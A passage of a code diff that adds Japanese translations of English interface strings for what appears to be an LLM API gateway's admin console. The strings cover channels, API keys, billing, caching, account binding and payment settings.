+    "API Key mode: use APIKey|Region": "APIキーモード: use APIKey | Region",
+    "API Key updated successfully": "APIキーが正常に更新されました",
+    "API Keys": "APIキー",
+    "API Private Key": "API 秘密鍵",
+    "API Requests": "APIリクエスト",
+    "API secret": "APIシークレット",
+    "API token management": "APIトークン管理",
+    "API URL": "API URL",
+    "API usage records": "API使用記録",
+    "API2GPT": "API2GPT",
+    "Append": "追加",
+    "Append mode: New keys will be added to the end of the existing key list": "追記モード: 新しいキーは既存のキー一覧の末尾に追加されます",
+    "Append to channel": "チャンネルに追加",
+    "Append to existing keys": "既存のキーに追加",
+    "appended": "追加済み",
+    "Application": "アプリケーション",
+    "Applies to custom completion endpoints. JSON map of model → ratio.": "カスタム補完エンドポイントに適用されます。モデル → 比率のJSONマップ。",
+    "Apply All Upstream Updates": "すべてのアップストリーム更新を適用",
+    "Apply Filters": "フィルターを適用",
+    "Apply IP Filter to Resolved Domains": "解決されたドメインにIPフィルターを適用",
+    "Apply Overwrite": "上書き適用",
+    "Apply Sync": "同期を適用",
+    "Applying...": "適用中...",
+    "Approx.": "約",
+    "are also listed here. Remove them from Models to keep the `/v1/models` response user-friendly and hide vendor-specific names.": "もここにリストされています。`/v1/models` レスポンスをユーザーフレンドリーに保ち、ベンダー固有の名前を隠すために、Models からこれらを削除します。",
+    "Are you sure you want to delete": "削除してもよろしいですか",
+    "Are you sure you want to delete all auto-disabled keys? This action cannot be undone.": "すべての自動無効化されたキーを削除してもよろしいですか？この操作は元に戻せません。",
+    "Are you sure you want to delete deployment \"{{name}}\"? This action cannot be undone.": "デプロイ \"{{name}}\" を削除してもよろしいですか？この操作は元に戻せません。",
+    "Are you sure you want to delete this key? This action cannot be undone.": "このキーを削除してもよろしいですか？この操作は元に戻せません。",
+    "Are you sure you want to disable all enabled keys?": "すべての有効なキーを無効にすることをよろしいですか？",
+    "Are you sure you want to enable all keys?": "すべてのキーを有効にすることをよろしいですか？",
+    "Are you sure you want to manually complete this order? The user will be credited with the corresponding quota.": "この注文を手動で完了してもよろしいですか？ユーザーには対応するクォータがクレジットされます。",
+    "Are you sure you want to sign out? You will need to sign in again to access your account.": "ログアウトしてもよろしいですか？アカウントにアクセスするには再度ログインする必要があります。",
+    "Are you sure you want to unbind {{provider}} for this user? The user will no longer be able to log in via this method.": "このユーザーの{{provider}}連携を解除してもよろしいですか？このユーザーはこの方法でログインできなくなります。",
+    "Are you sure you want to unbind {{provider}}? You will no longer be able to log in via this method.": "{{provider}}の連携を解除してもよろしいですか？この方法でログインできなくなります。",
+    "Are you sure?": "よろしいですか？",
+    "Args (space separated)": "引数 (スペース区切り)",
+    "Array of chat client presets. Each item is an object with one key-value pair: client name and its URL.": "チャットクライアントプリセットの配列。各項目は、クライアント名とそのURLという1つのキーと値のペアを持つオブジェクトです。",
+    "Area Chart": "面グラフ",
+    "Asc": "昇順",
+    "Ask anything": "何でも質問する",
+    "Async task refund": "非同期タスク返金",
+    "At least one model regex pattern is required": "少なくとも1つのモデル正規表現パターンが必要です",
+    "At least one valid key source is required": "少なくとも1つの有効なキーソースが必要です",
+    "Attach": "添付",
+    "Audio": "音声",
+    "Audio comp.": "音声補完",
+    "Audio completion ratio": "音声補完倍率",
+    "Audio In": "音声入力",
+    "Audio input": "音声入力",
+    "Audio Input": "音声入力",
+    "Audio Input Price": "音声入力価格",
+    "Audio Out": "音声出力",
+    "Audio output": "音声出力",
+    "Audio Output": "音声出力",
+    "Audio playback failed": "音声の再生に失敗しました",
+    "Audio Preview": "音声プレビュー",
+    "Audio ratio": "音声倍率",
+    "Audio Tokens": "音声トークン",
+    "Auth Style": "認証スタイル",
+    "Authentication": "認証",
+    "Authenticator code": "認証コード",
+    "Authorization Endpoint": "認可エンドポイント",
+    "Authorization Endpoint (Optional)": "認証エンドポイント (オプション)",
+    "Authorize": "認証",
+    "Auto": "自動",
+    "Auto (Circuit Breaker)": "自動（サーキットブレーカー）",
+    "Auto assignment order": "自動割り当て順序",
+    "Auto Ban": "自動BAN",
+    "Auto detect (default)": "自動検出 (デフォルト)",
+    "Auto Disabled": "自動無効化",
+    "Auto Group Chain": "自動グループチェーン",
+    "Auto refresh": "自動更新",
+    "Auto Sync Upstream Models": "アップストリームモデルの自動同期",
+    "Auto-disable status codes": "自動無効化するステータスコード",
+    "Auto-discover": "自動検出",
+    "Auto-discovers endpoints from the provider": "プロバイダーからエンドポイントを自動検出します",
+    "Auto-retry status codes": "自動リトライするステータスコード",
+    "Automatically disable channel on repeated failures": "繰り返しの失敗でチャンネルを自動的に無効にする",
+    "Automatically disable channels exceeding this response time": "この応答時間を超えるチャネルを自動的に無効にする",
+    "Automatically disable channels when tests fail": "テストが失敗したときにチャネルを自動的に無効にする",
+    "Automatically probe all channels in the background": "バックグラウンドですべてのチャネルを自動的にプローブする",
+    "Automatically replaces upstream callback URLs with the server address.": "アップストリームコールバック URL をサーバーアドレスに自動的に置き換えます。",
+    "Automatically selects the best available group with circuit breaker mechanism": "回路ブレーカーメカニズム付きで最適な利用可能なグループを自動的に選択",
+    "Automatically sync model list when upstream changes are detected": "アップストリームの変更が検出されたときにモデルリストを自動的に同期",
+    "Automatically test channels and notify users when limits are hit": "チャネルを自動的にテストし、制限に達したときにユーザーに通知する",
+    "Available": "空き",
+    "Available disk space": "利用可能なディスク容量",
+    "Available Models": "利用可能なモデル",
+    "Available Rewards": "利用可能な報酬",
+    "Average RPM": "平均RPM",
+    "Average TPM": "平均TPM",
+    "AWS": "AWS",
+    "AWS Key Format": "AWSキーフォーマット",
+    "Azure": "Azure",
+    "AZURE_OPENAI_ENDPOINT *": "AZURE_OPENAI_ENDPOINT *",
+    "Back": "戻る",
+    "Back to Home": "ホームに戻る",
+    "Back to login": "ログインに戻る",
+    "Back to Models": "モデルに戻る",
+    "Backed up": "バックアップ済み",
+    "Background job tracker for queued work.": "キューされた作業のためのバックグラウンドジョブトラッカー。",
+    "Backup Code": "バックアップコード",
+    "Backup code must be in format XXXX-XXXX": "バックアップコードはXXXX-XXXX形式で入力してください",
+    "Backup codes regenerated successfully": "バックアップコードが正常に再生成されました",
+    "Backup codes remaining: {{count}}": "残りのバックアップコード: {{count}}",
+    "Badge Color": "バッジの色",
+    "Baidu": "Baidu",
+    "Baidu V2": "Baidu V 2",
+    "Balance": "残高",
+    "Balance and top-up management": "残高とチャージ管理",
+    "Balance queried successfully": "残高の取得に成功しました",
+    "Balance updated successfully": "残高が正常に更新されました",
+    "Balance updated: {{balance}}": "残高更新：{{balance}}",
+    "Bar Chart": "棒グラフ",
+    "Bark Push URL": "BarkプッシュURL",
+    "Base address provided by your Epay service": "Epayサービスによって提供されるベースアドレス",
+    "Base amount. Actual deduction = base amount × system group rate.": "基本金額。実際の控除 = 基本金額 × システムグループ倍率。",
+    "Base Limits": "基本枠",
+    "Base multipliers applied when users select specific groups.": "ユーザーが特定のグループを選択したときに適用される基本乗数。",
+    "Base rate limit windows for this account.": "このアカウント向けの基本レート制限ウィンドウ。",
+    "Base URL": "ベースURL",
+    "Base URL of your Uptime Kuma instance": "Uptime KumaインスタンスのベースURL",
+    "Basic Authentication": "基本認証",
+    "Basic Configuration": "基本設定",
+    "Basic Info": "基本情報",
+    "Basic Information": "基本情報",
+    "Batch Add (one key per line)": "一括追加（1行に1つのキー）",
+    "Batch delete failed": "一括削除に失敗しました",
+    "Batch detection complete: {{channels}} channels, {{add}} to add, {{remove}} to remove, {{fails}} failed": "一括検出完了：{{channels}} チャネル、{{add}} 個追加、{{remove}} 個削除、{{fails}} 個失敗",
+    "Batch detection failed": "一括検出に失敗しました",
+    "Batch disable failed": "一括無効化に失敗しました",
+    "Batch Edit": "一括編集",
+    "Batch edit all channels with this tag. Leave fields empty to keep current values.": "このタグを持つすべてのチャネルを一括編集します。現在の値を維持するには、フィールドを空のままにしてください。",
+    "Batch Edit by Tag": "タグによる一括編集",
+    "Batch enable failed": "一括有効化に失敗しました",
+    "Batch processing failed": "一括処理に失敗しました",
+    "Batch upstream model updates applied: {{channels}} channels, {{added}} added, {{removed}} removed, {{fails}} failed": "一括上流モデル更新を処理しました：{{channels}} チャネル、{{added}} 個追加、{{removed}} 個削除、{{fails}} 個失敗",
+    "Best for single-tenant deployments. Pricing and billing options stay hidden.": "シングルテナント環境に最適です。料金設定や請求オプションは非表示になります。",
+    "Billing": "請求",
+    "Billing currency": "請求通貨",
+    "Billing Details": "課金詳細",
+    "Billing History": "請求履歴",
+    "Billing Mode": "課金モード",
+    "Billing Process": "課金プロセス",
+    "Billing Source": "課金ソース",
+    "Bind": "バインド",
+    "Bind an email address to your account.": "アカウントにメールアドレスを紐付けます。",
+    "Bind Email": "メールアドレス連携",
+    "Bind Telegram Account": "Telegram連携",
+    "Bind WeChat Account": "WeChatアカウント連携",
+    "Binding Information": "連携情報",
+    "Binding successful!": "紐付けが成功しました！",
+    "Binding your {{provider}} account": "{{provider}} アカウントをバインド中",
+    "Binding...": "連携中...",
+    "Bindings": "バインド",
+    "Blacklist": "ブラックリスト",
+    "Blacklist (Block listed domains)": "ブラックリスト (ブロックされたドメイン)",
+    "Blacklist (Block listed IPs)": "ブラックリスト (ブロックされたIPアドレス)",
+    "Blank Rule": "空のルール",
+    "Blend": "ブレンド",
+    "Block email aliases (e.g., user+alias@domain.com)": "メールエイリアスをブロック (例: user+alias@domain.com)",
+    "Blocked keywords": "ブロックされたキーワード",
+    "Blocks messages when sensitive keywords are detected.": "機密性の高いキーワードが検出された場合にメッセージをブロックします。",
+    "Body param": "ボディパラメータ",
+    "Bot Name": "ボット名",
+    "Bot Protection": "ボット保護",
+    "Bot Token": "ボットトークン",
+    "Bot:": "ボット:",
+    "Bound": "連携済み",
+    "Bound Channels": "バインドされたチャネル",
+    "Bound Only": "バインド済みのみ",
+    "Bring channels back online after successful checks": "チェックが成功した後、チャネルをオンラインに戻します",
+    "Broadcast a global banner to users. Markdown is supported.": "ユーザーにグローバルバナーをブロードキャストします。Markdownがサポートされています。",
+    "Broadcast short system notices on the dashboard": "ダッシュボードに短いシステム通知をブロードキャストします",
+    "Browse and compare": "参照と比較",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.002 and 1. Recommended to keep aligned with upstream billing.": "予算トークン = 最大トークン × 比率。0.002から1までの小数を指定できます。アップストリームの請求と一致させることを推奨します。",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.1 and 1.": "予算トークン = 最大トークン × 比率。0.1から1までの小数を指定できます。",
+    "Budget Tokens Ratio": "予算トークン比率",
+    "Budgets": "予算",
+    "Built for developers,": "開発者のために構築、",
+    "Built-in": "組み込み",
+    "Built-in Device": "内蔵デバイス",
+    "Built-in: phone fingerprint/face, or Windows Hello; External: USB security key": "内蔵: 電話の指紋/顔認証、またはWindows Hello。外部: USBセキュリティキー",
+    "by": "によって",
+    "Cache": "キャッシュ",
+    "Cache Creation": "キャッシュ作成",
+    "Cache Creation (1h)": "キャッシュ作成 (1h)",
+    "Cache Creation (5m)": "キャッシュ作成 (5m)",
+    "Cache Directory": "キャッシュディレクトリ",
+    "Cache Directory Disk Space": "キャッシュディレクトリのディスク容量",
+    "Cache Directory Info": "キャッシュディレクトリ情報",
+    "Cache Entries": "キャッシュエントリ",
+    "Cache mode": "キャッシュモード",
+    "Cache ratio": "キャッシュ倍率",
+    "Cache Read": "キャッシュ読み取り",
+    "Cache write": "キャッシュ書き込み",
+    "Cache Write": "キャッシュ書き込み",
+    "Cache Write (1h)": "キャッシュ書込 (1h)",
+    "Cache Write (5m)": "キャッシュ書込 (5m)",
+    "Cached": "キャッシュ",
+    "Cached input": "キャッシュ入力",
+    "Calculated price: ${{price}} per 1M tokens": "計算価格：${{price}} / 1M トークン",
+    "Calculated ratio: {{ratio}}": "計算倍率：{{ratio}}",
+    "Calculating...": "計算中...",
+    "Call Count Distribution": "呼び出し回数分布",
+    "Call Count Ranking": "呼び出し回数ランキング",
+    "Call Proportion": "呼び出し比率",
+    "Call Trend": "呼び出し傾向",
+    "Callback address": "コールバックアドレス",
+    "Callback Caller IP": "コールバック呼び出し元 IP",
+    "Callback notification URL": "コールバック通知URL",
+    "Callback Payment Method": "コールバック支払い方法",
+    "Callback URL": "コールバックURL",
+    "Cancel": "キャンセル",
+    "Cancelled": "キャンセル",
+    "Cancelled at": "キャンセル日時",
+    "Capture a reusable bundle of models, tags, or endpoints.": "モデル、タグ、またはエンドポイントの再利用可能なバンドルを保存。",
+    "Category Name": "分類名称",
+    "Category name is required": "カテゴリ名は必須です",
+    "Category name must be less than 50 characters": "カテゴリ名は50文字以内にしてください",
+    "Caution": "注意",
+    "CC Switch": "CC 切替",
+    "Chain": "チェーン",
+    "Change": "変更",
+    "Change language": "言語を変更",
+    "Change Password": "パスワードの変更",
+    "Change To": "変更先",
+    "Changing...": "変更中...",
+    "Channel": "チャネル",
+    "Channel Affinity": "チャネルアフィニティ",
+    "Channel affinity reuses the last successful channel based on keys extracted from the request context or JSON body.": "チャネルアフィニティは、リクエストコンテキストまたは JSON Body から抽出したキーに基づいて、前回成功したチャネルを優先的に再利用します。",
+    "Channel Affinity: Upstream Cache Hit": "チャネルアフィニティ：上流キャッシュヒット",
+    "Channel copied successfully": "チャンネルが正常にコピーされました",
+    "Channel created successfully": "チャンネルが正常に作成されました",
+    "Channel deleted successfully": "チャンネルが正常に削除されました",
+    "Channel disabled successfully": "チャンネルが正常に無効化されました",
+    "Channel enabled successfully": "チャンネルが正常に有効化されました",
+    "Channel Extra Settings": "チャネル詳細設定",
+    "Channel ID": "チャネルID",
+    "Channel key unlocked": "チャンネルキーが解除されました",
+    "Channel models": "チャネルモデル",
+    "Channel name is required": "チャンネル名が必要です",
+    "Channel test completed": "チャンネルテストが完了しました",
+    "Channel type is required": "チャンネルタイプが必要です",
+    "Channel updated successfully": "チャンネルが正常に更新されました",
+    "Channel-specific settings (JSON format)": "チャンネル固有の設定 (JSON 形式)",
+    "Channel:": "チャンネル：",
+    "channel(s)? This action cannot be undone.": "チャネルを削除しますか？この操作は元に戻せません。",
+    "Channels": "チャネル",
+    "Channels deleted successfully": "チャンネルが正常に削除されました",
+    "Chart Settings": "チャート設定",
+    "Chat": "チャット",
+    "Chat area": "チャットエリア",
+    "Chat Area": "チャットエリア",
+    "Chat Client Name": "チャットクライアント名",
+    "Chat client name is required": "チャットクライアント名は必須です",
+    "Chat configuration JSON": "チャット設定JSON",
+    "Chat preset not found": "チャットプリセットが見つかりません",
+    "Chat Presets": "チャットプリセット",
+    "Chat session management": "チャットセッション管理",
+    "ChatCompletions -> Responses Compatibility": "ChatCompletions → レスポンス互換",
+    "Check for updates": "更新を確認",
+    "Check in daily to receive random quota rewards": "毎日チェックインして、ランダムなノルマ報酬を受け取りましょう",
+    "Check in now": "今すぐチェックイン",
+    "Check resolved IPs against IP filters even when accessing by domain": "ドメインによるアクセスであっても、解決されたIPをIPフィルターと照合してチェックします",
+    "Check-in failed": "チェックインできませんでした",
+    "Check-in Settings": "チェックイン設定",
+    "Check-in successful! Received": "チェックインに成功しました！受け取りました",
+    "Checked in": "チェックイン済み",
+    "Checking connection": "接続を確認しています",
+    "Checking name...": "名前をチェック中...",
+    "Checking updates...": "更新を確認中...",
+    "checkout.session.completed": "checkout.session.completed",
+    "checkout.session.expired": "checkout.session.expired",
+    "Chinese": "中国語",
+    "Choose a username": "ユーザー名を選択",
+    "Choose an amount and payment method": "金額と支払い方法を選択してください",
+    "Choose between default expanded, compact icon-only, or full layout mode": "デフォルトの展開表示、コンパクトなアイコンのみ、またはフルレイアウトモードから選択します",
+    "Choose between inset, floating, or standard sidebar layout": "インセット、フローティング、または標準のサイドバーレイアウトから選択します",
+    "Choose between left-to-right or right-to-left site direction": "左から右、または右から左のサイトの方向を選択します",
+    "Choose between system preference, light mode, or dark mode": "システム設定、ライトモード、またはダークモードから選択します",
+    "Choose channels to sync upstream ratio configurations from": "アップストリームの比率設定を同期するチャネルを選択してください",
+    "Choose Group": "グループを選択",
+    "Choose how quota values are shown to users": "クォータ値がユーザーにどのように表示されるかを選択してください",
+    "Choose how the platform will operate": "プラットフォームの運用方法を選択",
+    "Choose how to filter domains": "ドメインをフィルタリングする方法を選択してください",
+    "Choose how to filter IP addresses": "IPアドレスをフィルタリングする方法を選択してください",
+    "Choose the bundle type and define the items inside it.": "バンドルタイプを選択し、その中のアイテムを定義してください。",
+    "Choose where to fetch upstream metadata.": "アップストリームのメタデータをどこからフェッチするかを選択してください。",
+    "Classic (Legacy Frontend)": "クラシック（旧フロントエンド）",
+    "Claude": "Claude",
+    "Clean history logs": "履歴ログをクリーンアップ",
+    "Clean logs": "ログをクリア",
+    "Clean up inactive cache": "非アクティブキャッシュをクリーンアップ",
+    "Clean Up Log Files": "ログファイルをクリーンアップ",
+    "Cleaned up {{count}} log files, freed {{size}}": "{{count}}個のログファイルをクリーンアップし、{{size}}を解放しました",
+    "Cleaning...": "クリア中...",
+    "Cleanup failed": "クリーンアップ失敗",
+    "Cleanup Mode": "クリーンアップ方式",
+    "Clear": "クリア",
+    "Clear all": "すべてクリア",
+    "Clear All": "すべてクリア",
+    "Clear All Cache": "全キャッシュをクリア",
+    "Clear all filters": "すべてのフィルターをクリア",
+    "Clear cache for this rule": "このルールのキャッシュをクリア",
+    "Clear filters": "フィルターをクリア",
+    "Clear Mapping": "マッピングをクリア",
+    "Clear mode flags in prompts": "プロンプト内のモードフラグをクリア",
+    "Clear search": "検索をクリア",
+    "Clear selection": "選択をクリア",
+    "Clear selection (Escape)": "選択をクリア (Escape)",
+    "Cleared": "クリア済み",
+    "Cleared all models": "すべてのモデルをクリアしました",
+    "Click \"Create Plan\" to create your first subscription plan": "「プラン作成」をクリックして最初のプランを作成してください",
+    "Click \"Generate\" to create a token": "「生成」をクリックしてトークンを作成",
+    "Click for details": "クリックして詳細を表示",
+    "Click save when you're done.": "完了したら「保存」をクリックしてください。",
+    "Click save when you&apos;re done.": "完了したら保存をクリックしてください。",
+    "Click the button below to bind your Telegram account": "下のボタンをクリックしてTelegramアカウントをバインドしてください",
+    "Click to open deployment": "クリックして展開を開く",
+    "Click to preview audio": "クリックして音声をプレビュー",
+    "Click to preview video": "クリックして動画をプレビュー",
+    "Click to update balance": "クリックして残高を更新",
+    "Click to view Codex usage": "Codex利用状況を見る",
+    "Click to view full details": "クリックして詳細を表示",
+    "Click to view full error message": "クリックしてエラーメッセージ全文を表示",
+    "Click to view full prompt": "クリックしてプロンプト全文を表示",
+    "Client ID": "クライアントID",
+    "Client Secret": "クライアントシークレット",
+    "Close": "閉じる",
+    "Close dialog": "ダイアログを閉じる",
+    "Close menu": "メニューを閉じる",
+    "Close Today": "今日は表示しない",
+    "Cloudflare": "Cloudflare",
+    "CNY": "CNY",
+    "CNY per USD": "1 USD あたりの CNY",
+    "Code": "コード",
+    "Codes copied!": "コードをコピーしました！",
+    "Codex": "Codex",
+    "Codex Account & Usage": "Codex アカウントと使用量",
+    "Codex Authorization": "Codex認証",
+    "Codex channels use an OAuth JSON credential as the key.": "CodexチャンネルはOAuth JSON認証情報をキーとして使用します。",
+    "Cohere": "Cohere",
+    "Collapse": "折りたたむ",
+    "Color": "カラー",
+    "Color is required": "色は必須です",
+    "Color:": "色:",
+    "Coming Soon!": "近日公開！",
+    "Comma-separated list of allowed ports (empty = all ports)": "許可されたポートのカンマ区切りリスト (空欄 = すべてのポート)",
+    "Comma-separated model names (leave empty to keep current)": "カンマ区切りのモデル名 (空欄のままにすると現在の設定を維持)",
+    "Comma-separated model names, e.g., gpt-4,gpt-3.5-turbo": "カンマ区切りのモデル名、例: gpt-4,gpt-3.5-turbo",
+    "Command": "コマンド",
+    "Common": "共通",
+    "Common Keys": "よく使うキー",
+    "Common Logs": "一般的なログ",
+    "Common ports include 25, 465, and 587": "一般的なポートには 25, 465, 587 が含まれます",
+    "Common User": "一般ユーザー",
+    "Complete API documentation with multi-language SDK support": "多言語SDKをサポートする完全なAPIドキュメント",
+    "Complete Order": "手動チャージ",
+    "Complete these steps to finish the initial installation.": "初期インストールを完了するには、これらの手順を完了してください。",
+    "Completed": "完了",
+    "Completion": "補完",
+    "Completion price ($/1M tokens)": "完了価格 (トークン100万あたり$)",
+    "Completion ratio": "補完倍率",
+    "Concatenate channel system prompt with user&apos;s prompt": "チャネルのシステムプロンプトをユーザーのプロンプトと連結する",
+    "Conditional multipliers": "条件付き乗数",
+    "Conditions (AND)": "条件（AND）",
+    "Confidence": "信頼度",
+    "Configuration": "設定",
+    "Configuration File": "設定ファイル",
+    "Configuration for Creem payment integration": "Creem決済統合の設定",
+    "Configuration for Epay payment integration": "Epay決済連携のための設定",
+    "Configuration for Stripe payment integration": "Stripe決済連携のための設定",
+    "Configuration required": "設定が必要です",
+    "Configure": "設定",
+    "Configure a Creem product for user recharge options.": "ユーザー チャージオプション用の Creem 製品を設定。",
+    "Configure a custom ratio for when users use a specific token group.": "ユーザーが特定のトークングループを使用する際のカスタム倍率を設定します。",
+    "Configure a group that users can select when creating API keys.": "ユーザーがAPIキー作成時に選択できるグループを設定します。",
+    "Configure a new custom OAuth provider for user authentication.": "ユーザー認証のための新しいカスタムOAuthプロバイダーを設定します。",
+    "Configure a payment method for user recharge options.": "ユーザーのチャージオプションのための支払い方法を設定します。",
+    "Configure a predefined chat link for end users.": "エンドユーザー向けの事前定義されたチャットリンクを設定します。",
+    "Configure and deploy a new container instance.": "新しいコンテナインスタンスを設定してデプロイします。",
+    "Configure API documentation links for the dashboard": "ダッシュボード用のAPIドキュメントリンクを設定",
+    "Configure at:": "設定場所:",
+    "Configure available payment methods. Provide a JSON array.": "利用可能な支払い方法を設定します。JSON配列を提供してください。",
+    "Configure basic system information and branding": "基本的なシステム情報とブランディングを設定",
+    "Configure channel affinity (sticky routing) rules": "チャネルアフィニティ（スティッキールーティング）ルールの設定",
+    "Configure Creem products. Provide a JSON array.": "Creem製品を設定。JSON配列を提供してください。",
+    "Configure custom OAuth providers for user authentication": "ユーザー認証のためのカスタムOAuthプロバイダーを設定",
+    "Configure daily check-in rewards for users": "ユーザーの毎日のチェックイン報酬を設定する",
+    "Configure discount rates based on recharge amounts": "チャージ金額に基づいた割引率を設定",
+    "Configure experimental data export for the dashboard": "ダッシュボード用の実験的なデータエクスポートを設定",
+    "Configure Gemini safety behavior, version overrides, and thinking adapter": "Geminiの安全動作、バージョン上書き、および思考アダプターを設定",
+    "Configure in your Creem dashboard": "Creem ダッシュボードで設定",
+    "Configure io.net API key for model deployments": "モデルデプロイ用の io.net API キーを設定します",
+    "Configure keyword filtering for prompts and responses.": "プロンプトと応答のキーワードフィルタリングを設定します。",
+    "Configure model, caching, and group ratios used for billing": "請求に使用されるモデル、キャッシュ、およびグループ比率を設定します。",
+    "Configure monitoring status page groups for the dashboard": "ダッシュボードの監視ステータスページグループを設定します。",
+    "Configure outgoing email server for notifications": "通知用の送信メールサーバーを設定します。",
+    "Configure Passkey (WebAuthn) login settings": "パスキー (WebAuthn) ログイン設定を設定",
+    "Configure password-based login and registration": "パスワードベースのログインと登録を設定します。",
+    "Configure per-model ratio for image inputs or outputs.": "画像の入力または出力のモデルごとの比率を設定します。",
+    "Configure per-tool unit prices ($/1K calls). Per-request models do not incur additional tool fees.": "ツールごとの単価（$/1K 回）を設定します。リクエスト課金モデルでは追加工具料金はかかりません。",
+    "Configure predefined chat links surfaced to end users.": "エンドユーザーに表示される事前定義されたチャットリンクを設定します。",
+    "Configure pricing model and display options": "料金モデルと表示オプションを設定します。",
+    "Configure pricing ratios for a specific model.": "特定のモデルの料金比率を設定します。",
+    "Configure rate limiting rules for a specific user group.": "特定のユーザーグループのレート制限ルールを設定します。",
+    "Configure recharge pricing and payment gateway integrations": "リチャージ料金と決済ゲートウェイの統合を設定します。",
+    "Configure system-wide behavior and defaults": "システム全体の動作とデフォルトを設定します。",
+    "Configure the ratio for this group.": "このグループの比率を設定します。",
+    "Configure third-party authentication providers": "サードパーティの認証プロバイダーを設定します。",
+    "Configure upstream providers and routing.": "アップストリームプロバイダーとルーティングを設定。",
+    "Configure upstream worker or proxy service for outbound requests": "アウトバウンドリクエストのアップストリームワーカーまたはプロキシサービスを設定します。",
+    "Configure user quota allocation and rewards": "ユーザーのクォータ割り当てと報酬を設定します。",
+    "Configure Waffo Pancake hosted checkout integration for USD-priced top-ups": "USD 建てのチャージ用に Waffo Pancake のホスト型チェックアウト連携を設定",
+    "Configure Waffo payment aggregation platform integration": "Waffo決済アグリゲーションプラットフォームの連携を設定",
+    "Configure xAI Grok model settings": "xAI Grokモデルの設定",
+    "Configure xAI Grok model specific settings": "xAI Grok モデル固有の設定を構成",
+    "Configure your account behavior preferences": "アカウントの動作設定を設定します。",
+    "Configure your account preferences and integrations": "アカウントの設定と統合を設定します。",
+    "Confirm": "確認",
+    "Confirm Action": "アクションの確認",
+    "Confirm Batch Update": "バッチ更新の確認",
+    "Confirm Billing Conflicts": "請求の競合を確認",
+    "Confirm Changes": "変更を確認",
+    "Confirm Cleanup": "クリーンアップを確認",
+    "Confirm cleanup of inactive disk cache?": "非アクティブなディスクキャッシュをクリーンアップしますか？",
+    "Confirm clearing all channel affinity cache": "全チャネルアフィニティキャッシュのクリアを確認",
+    "Confirm clearing cache for this rule": "このルールのキャッシュクリアを確認",
+    "Confirm Creem Purchase": "Creem 購入を確認",
+    "Confirm delete": "削除の確認",
+    "Confirm disable": "無効化を確認",
+    "Confirm enable": "有効化を確認",
+    "Confirm invalidate": "無効化を確認",
+    "Confirm log cleanup": "ログクリーンアップの確認",
+    "Confirm log file cleanup?": "ログファイルをクリーンアップしますか？",
+    "Confirm New Password": "新しいパスワードの確認",
+    "Confirm password": "パスワードの確認",
+    "Confirm Payment": "支払いの確認",
+    "Confirm Selection": "選択の確認",
+    "Confirm settings and finish setup": "設定を確認してセットアップを完了",
+    "Confirm Unbind": "連携解除を確認",
+    "Confirm your identity before removing this Passkey from your account.": "このパスキーをアカウントから削除する前に、本人確認を行ってください。",
+    "Confirm your identity with Two-factor Authentication before registering a Passkey.": "パスキーを登録する前に、二要素認証で本人確認を行ってください。",
+    "Conflict": "競合",
+    "Connect": "接続",
+    "Connected to io.net service normally.": "io.net サービスに正常に接続しました。",
+    "Connection error": "接続エラー",
+    "Connection failed": "接続に失敗しました",
+    "Connection successful": "接続に成功しました",
+    "Console": "コンソール",
+    "Console area": "コンソールエリア",
+    "Console Area": "コンソールエリア",
+    "Consume": "消費",
+    "Container": "コンテナ",
+    "Container name": "コンテナ名",
+    "Containers": "コンテナ",
+    "Contains": "含む",
+    "Contains Match": "含む一致",
+    "Content": "コンテンツ",
+    "Content displayed on the home page (supports Markdown)": "ホームページに表示されるコンテンツ（Markdownをサポート）",
+    "Content not found.": "コンテンツが見つかりません。",
+    "Content not modified!": "コンテンツが変更されていません！",
+    "Continue": "続行",
+    "Continue with {{name}}": "{{name}} で続行",
+    "Continue with Discord": "Discord で続行",
+    "Continue with GitHub": "GitHub で続行",
+    "Continue with LinuxDO": "LinuxDO で続行",
+    "Continue with OIDC": "OIDC で続行",
+    "Continue with Telegram": "Telegram で続行",
+    "Continue with WeChat": "WeChat で続行",
+    "Control log retention and clean historical data.": "ログの保持を制御し、履歴データをクリーンアップします。",
+    "Control passthrough behavior and connection keep-alive settings": "パススルーの動作と接続のキープアライブ設定を制御します。",
+    "Control request frequency to prevent abuse and manage system load.": "乱用を防ぎ、システム負荷を管理するためにリクエスト頻度を制御します。",
+    "Control which sidebar areas and modules are available to all users.": "すべてのユーザーが利用できるサイドバー領域とモジュールを制御します。",
+    "Controls whether user verification (biometrics/PIN) is required during Passkey flows.": "Passkeyフロー中にユーザー認証（生体認証/PIN）が必要かどうかを制御します。",
+    "Conversion rate from USD to your custom currency": "USDからカスタム通貨への換算レート",
+    "Convert reasoning_content to <think> tag in content": "content内のreasoning_contentを<think>タグに変換",
+    "Copied": "コピーしました",
+    "Copied {{count}} key(s)": "{{count}} 件のキーをコピーしました",
+    "Copied to clipboard": "クリップボードにコピーしました",
+    "Copied: {{model}}": "コピーしました: {{model}}",
+    "Copied!": "コピーしました！",
+    "Copy": "コピー",
+    "Copy All": "すべてコピー",
+    "Copy all backup codes": "すべてのバックアップコードをコピー",
+    "Copy All Codes": "すべてのコードをコピー",
+    "Copy API key": "APIキーをコピー",
+    "Copy authorization link": "認証リンクをコピー",
+    "Copy Channel": "チャネルをコピー",
+    "Copy code": "コードをコピー",
+    "Copy Connection Info": "接続情報をコピー",
+    "Copy failed": "コピーに失敗しました",
+    "Copy Header": "ヘッダーをコピー",
+    "Copy Key": "キーをコピー",
+    "Copy Link": "リンクをコピー",
+    "Copy model name": "モデル名をコピー",
+    "Copy model names": "モデル名をコピー",
+    "Copy prompt": "プロンプトをコピー",
+    "Copy redemption code": "引き換えコードをコピー",
+    "Copy referral link": "紹介リンクをコピー",
+    "Copy secret key": "シークレットキーをコピー",
+    "Copy selected codes": "選択したコードをコピー",
+    "Copy selected keys": "選択したキーをコピー",
+    "Copy the key and paste it here": "キーをコピーしてここに貼り付けてください",
+    "Copy this prompt and send it to an LLM (e.g. ChatGPT / Claude) to help design your billing expression.": "このプロンプトをコピーしてLLM（ChatGPT / Claudeなど）に送り、課金式の設計を依頼してください。",
+    "Copy to clipboard": "クリップボードにコピー",
+    "Copy token": "トークンをコピー",
+    "Copy URL": "URLをコピー",
+    "Core Features": "主要機能",
+    "Cost": "コスト",
+    "Cost in USD per request, regardless of tokens used.": "使用されたトークンに関係なく、リクエストあたりのUSDでのコスト。",
+    "Cost Tracking": "コスト追跡",
+    "Count must be between {{min}} and {{max}}": "カウントは{{min}}から{{max}}の間である必要があります",
+    "Coze": "Coze",
+    "CPU Threshold (%)": "CPU 閾値 (%)",
+    "Create": "新規作成",
